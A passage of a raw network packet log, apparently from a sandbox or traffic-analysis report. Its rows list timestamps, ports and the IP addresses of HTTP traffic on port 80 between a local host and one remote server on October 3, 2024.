Oct 3, 2024 09:20:36.426410913 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426412106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426423073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426434040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426439047 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426446915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426460028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426460028 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426470995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426477909 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426484108 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426496983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426512003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426526070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426537037 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426548958 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426568985 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427236080 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427248001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427258015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427274942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427288055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427295923 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427305937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427318096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427335978 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427346945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427357912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427371979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427372932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427381992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427409887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427413940 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427423954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427434921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427443027 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427444935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427455902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427469969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427483082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427495003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.427495003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.427544117 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428165913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428179026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428189039 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428200006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428210974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428221941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428221941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428232908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428244114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428245068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428256035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428267002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428267002 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428278923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428289890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428289890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428299904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428308010 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428312063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428323030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428327084 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428333998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428345919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428345919 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428358078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428369045 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.428391933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.428421974 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429088116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429099083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429110050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429128885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429140091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429141998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429152012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429162979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429174900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429195881 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429203033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429214954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429219007 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429227114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429239035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429249048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429260969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429272890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429280043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429282904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429295063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429306030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429316044 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429316998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429336071 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429366112 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429897070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429924011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429934025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429949999 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429956913 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429966927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429979086 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.429984093 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.429989100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430001974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430021048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430023909 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430031061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430042028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430044889 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430052996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430062056 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430063963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430075884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430085897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430097103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430097103 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430108070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430118084 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430120945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430133104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430136919 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430145025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430155993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430156946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430176973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430182934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430195093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430207014 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430217028 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430217981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430243969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430265903 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430711985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430722952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430738926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430752039 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430763006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430773020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.430783987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430783987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430819035 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.430993080 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431005001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431014061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431026936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431037903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431047916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431058884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431067944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.431087017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431094885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.431098938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431113005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.431143045 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.431173086 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.649955034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.650055885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.711983919 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.716890097 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.716916084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.716928005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.716973066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.716979980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717009068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717082024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717092991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717103958 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717116117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717127085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717150927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717245102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717257023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717288971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717382908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717394114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717403889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717415094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717427015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717446089 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717557907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717569113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717581987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717627048 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717659950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717670918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717681885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717694044 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717696905 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717716932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717915058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717926979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717937946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717948914 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717952013 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717961073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.717968941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.717972994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718003988 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718004942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718043089 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718344927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718406916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718419075 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718453884 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718509912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718519926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718533993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718544006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718564987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718573093 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718641996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718662024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718683004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718719959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.718763113 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.718998909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719063044 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719074011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719101906 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719176054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719187975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719201088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719212055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719213009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719238043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719407082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719418049 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719435930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719443083 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719449043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719460011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719470024 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719471931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719481945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.719494104 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719517946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.719980001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720016956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720029116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720052004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720151901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720163107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720172882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720185041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720186949 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720206976 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720350981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720365047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720375061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720386982 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720387936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720400095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720412016 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720412970 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720438957 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720566034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720599890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.720973969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.720984936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721003056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721021891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721113920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721124887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721134901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721148014 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721148014 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721162081 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721349955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721359968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721370935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721381903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721385002 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721395016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721406937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721407890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721421957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721426964 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721466064 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.721893072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721959114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721970081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.721992016 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722026110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722038031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722049952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722060919 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722089052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722125053 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722173929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722184896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722196102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722207069 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722230911 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722604990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722656965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722668886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722692013 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722759008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722770929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722781897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722794056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722795010 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722811937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722953081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722965002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722975016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722986937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.722990990 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.722999096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723010063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723016024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723027945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723037958 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723104954 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723566055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723637104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723649025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723675013 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723742962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723753929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723764896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723777056 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723778009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723794937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723923922 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723934889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723947048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723959923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723969936 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723970890 CEST	80	49706	193.242.145.138	192.168.2.9
